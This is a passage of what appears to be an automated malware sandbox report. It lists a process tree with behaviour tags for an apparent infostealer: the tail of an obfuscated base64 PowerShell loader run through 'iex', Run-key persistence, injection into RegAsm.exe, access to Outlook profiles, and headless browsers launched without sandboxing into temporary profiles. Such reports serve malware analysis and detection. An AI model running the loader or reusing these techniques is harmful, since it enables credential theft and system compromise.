HIAZABhAGIAJwAsACAAJwBSAGUAZwBBAHMAbQAnACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQANAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfABzAG8AcgB0ACAAQwBQAFUAIAAtAGQAZQBzAGMAfABzAGUAbABlAGMAdAAgAC0AZgBpAHIAcwB0ACAANQB8AGYAdAAgAE4AYQBtAGUALABDAFAAVQAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAA==';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, 'f#', 'r')));iex $oWfdfjfdsuxd"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4228
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0znoxkge\0znoxkge.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2716
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4CC3.tmp" "c:\Users\Admin\AppData\Local\Temp\0znoxkge\CSC40E106554C114385A49C7BEE95AA7012.TMP"
        6⤵
        
        PID:2448
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        outlook_office_path
        outlook_win_path
        
        PID:3748
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox"
        6⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:2660
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x110,0x114,0x118,0xec,0x11c,0x7fffd7acc728,0x7fffd7acc734,0x7fffd7acc740
        7⤵
        
        PID:2872
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1656,i,4065763405628004855,3113820464085408263,262144 --field-trial-handle=1936,i,8614921293290526931,7705938180463311574,262144 --variations-seed-version --mojo-platform-channel-handle=1932 /prefetch:2
        7⤵
        
        PID:704
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox" --force-high-res-timeticks=disabled --metrics-shmem-handle=2012,i,8834585388194508464,18112774871948138149,524288 --field-trial-handle=1936,i,8614921293290526931,7705938180463311574,262144 --variations-seed-version --mojo-platform-channel-handle=2088 /prefetch:11
        7⤵
        System Time Discovery
        
        PID:4608
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox" --force-high-res-timeticks=disabled --metrics-shmem-handle=2172,i,16577365115285156979,10278976090504759428,524288 --field-trial-handle=1936,i,8614921293290526931,7705938180463311574,262144 --variations-seed-version --mojo-platform-channel-handle=2144 /prefetch:13
        7⤵
        
        PID:1008
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2868,i,6256417491203624459,2239654332518868041,2097152 --field-trial-handle=1936,i,8614921293290526931,7705938180463311574,262144 --variations-seed-version --mojo-platform-channel-handle=3000 /prefetch:1
        7⤵
        
        PID:3720
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2872,i,9454498016212988614,13777264848162772963,2097152 --field-trial-handle=1936,i,8614921293290526931,7705938180463311574,262144 --variations-seed-version --mojo-platform-channel-handle=3008 /prefetch:1
        7⤵
        
        PID:860
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3420,i,14547945450947453543,14148175462861453027,2097152 --field-trial-handle=1936,i,8614921293290526931,7705938180463311574,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
        7⤵
        
        PID:4420
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3436,i,7112324475437875171,16691151745135264336,2097152 --field-trial-handle=1936,i,8614921293290526931,7705938180463311574,262144 --variations-seed-version --mojo-platform-channel-handle=3980 /prefetch:9
        7⤵
        
        PID:5092
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4308,i,7252344137148035717,8942517762338313444,2097152 --field-trial-handle=1936,i,8614921293290526931,7705938180463311574,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:9
        7⤵
        
        PID:2200
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4432,i,8825062660391683181,213537677914123458,2097152 --field-trial-handle=1936,i,8614921293290526931,7705938180463311574,262144 --variations-seed-version --mojo-platform-channel-handle=4384 /prefetch:1
        7⤵
        
        PID:3424
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\emgwaqbf.aox" --force-high-res-timeticks=disabled --metrics-shmem-handle=4472,i,15642321996571221785,6058943692012561235,524288 --field-trial-handle=1936,i,8614921293290526931,7705938180463311574,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:14
        7⤵
        
        PID:2352
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\sduoflh4.o0q"
        6⤵
        
        PID:4448
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\sduoflh4.o0q
        7⤵
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:1256
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1976 -prefsLen 27098 -prefMapHandle 1980 -prefMapSize 270279 -ipcHandle 2056 -initialChannelId {ee284a77-2929-453f-8352-deea4c0086d2} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        8⤵
        
        PID:4328
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2316 -prefsLen 27134 -prefMapHandle 2308 -prefMapSize 270279 -ipcHandle 2444 -initialChannelId {c8dbf24b-46f1-4dde-8e72-6a1d3d059a08} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        8⤵
        
        PID:3968
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\cadb1913-6d74-4cbb-8733-b2834d8e32bb.dmp"
        8⤵
        
        PID:3112
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2056 -prefsLen 27134 -prefMapHandle 2748 -prefMapSize 270279 -ipcHandle 2744 -initialChannelId {4714f721-ed5f-473b-ad99-a9dafdcab72f} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        8⤵
        
        PID:908
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\d00a103f-2bbd-49a3-a5f7-a5e334468a4c.dmp"
        8⤵
        
        PID:2956
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2916 -prefsLen 27134 -prefMapHandle 2904 -prefMapSize 270279 -ipcHandle 2848 -initialChannelId {67d7cd9b-11ba-4394-aa28-5951bfa75fdc} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        8⤵
        
        PID:3636
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\454278bf-2483-4720-8422-23011a1125c3.dmp"
        8⤵
        
        PID:4592
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2848 -prefsLen 27247 -prefMapHandle 3444 -prefMapSize 270279 -ipcHandle 3132 -initialChannelId {1390fef1-b8d6-4a7e-8329-c512b1c0eec5} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        8⤵
        
        PID:1528
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3816 -prefsLen 27323 -prefMapHandle 3820 -prefMapSize 270279 -jsInitHandle 3824 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3848 -initialChannelId {e8c3935b-8de6-4e36-be84-d3459564a1c2} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        8⤵
        Checks processor information in registry
        
        PID:4024
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\4638fe6b-bf2a-465a-aef5-276d3754f3eb.dmp"
        8⤵
        
        PID:432
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3132 -prefsLen 27323 -prefMapHandle 2816 -prefMapSize 270279 -ipcHandle 3560 -initialChannelId {875eb29e-e287-4a48-ba68-24a4726f0a8f} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        8⤵
        
        PID:3680
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\19489a5b-8aae-49f3-a49f-ee39872c928e.dmp"
        8⤵
        
        PID:3960
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4272 -prefsLen 27323 -prefMapHandle 4276 -prefMapSize 270279 -ipcHandle 4296 -initialChannelId {0fcb4f00-fdc2-44fa-bb7b-1cfb2df9cda9} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 rdd
        8⤵
        
        PID:4824
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4712 -prefsLen 34822 -prefMapHandle 4716 -prefMapSize 270279 -jsInitHandle 4720 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4680 -initialChannelId {e243dcdc-7dea-4935-9b60-e00d2d01837b} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        8⤵
        Checks processor information in registry
        
        PID:4596
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 2900 -prefsLen 35010 -prefMapHandle 3084 -prefMapSize 270279 -ipcHandle 3372 -initialChannelId {c9d72418-2ad5-48b1-a94e-98ae27e26c13} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        8⤵
        Checks processor information in registry
        
        PID:2304
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3576 -prefsLen 32900 -prefMapHandle 5164 -prefMapSize 270279 -jsInitHandle 5168 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5176 -initialChannelId {60d8a04e-1df6-44c6-abb7-64a585bbfb81} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        8⤵
        Checks processor information in registry
        
        PID:2956
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5372 -prefsLen 32952 -prefMapHandle 5376 -prefMapSize 270279 -jsInitHandle 5380 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5388 -initialChannelId {ad7caa88-e1e3-4153-a1ca-b35f3ad6a57c} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        8⤵
        Checks processor information in registry
        
        PID:2312
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5692 -prefsLen 32952 -prefMapHandle 5696 -prefMapSize 270279 -jsInitHandle 5700 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5676 -initialChannelId {e01c636c-3cf9-46c8-9bc4-074533b5f362} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        8⤵
        Checks processor information in registry
        
        PID:2000
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb"
        6⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious use of FindShellTrayWindow
        
        PID:5252
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x254,0x7fffd543c188,0x7fffd543c194,0x7fffd543c1a0
        7⤵
        
        PID:5288
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1672,i,8570776104104913971,7153590333421072951,262144 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=2652 /prefetch:2
        7⤵
        
        PID:5700
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1760,i,7106024209504508207,4033711685186051148,524288 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=2676 /prefetch:11
        7⤵
        System Time Discovery
        
        PID:5712
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2124,i,87184234639265533,4008075919240460979,524288 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=2708 /prefetch:13
        7⤵
        
        PID:5724
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3396,i,18299387030881171255,5390082020023028697,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=3420 /prefetch:1
        7⤵
        
        PID:5924
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3400,i,7198386847221229799,608800246182380854,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
        7⤵
        
        PID:6000
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3820,i,1792703205938762419,2027461098553375259,524288 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:14
        7⤵
        
        PID:4028
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3828,i,10421853953891575764,11631709411068725914,524288 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=3856 /prefetch:14
        7⤵
        
        PID:4344
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3832,i,4242629006607135720,8730698472068375758,524288 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4616 /prefetch:14
        7⤵
        
        PID:1828
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3792,i,2003679306612593261,16515648312457383074,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:1
        7⤵
        
        PID:2128
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3848,i,16380960352287472428,14707196141706187122,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:9
        7⤵
        
        PID:5192
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3880,i,14474445270194131544,14541947195148008404,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4704 /prefetch:1
        7⤵
        
        PID:5196
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3912,i,13294577548101083544,6027460373001138463,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4720 /prefetch:9
        7⤵
        
        PID:3516
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
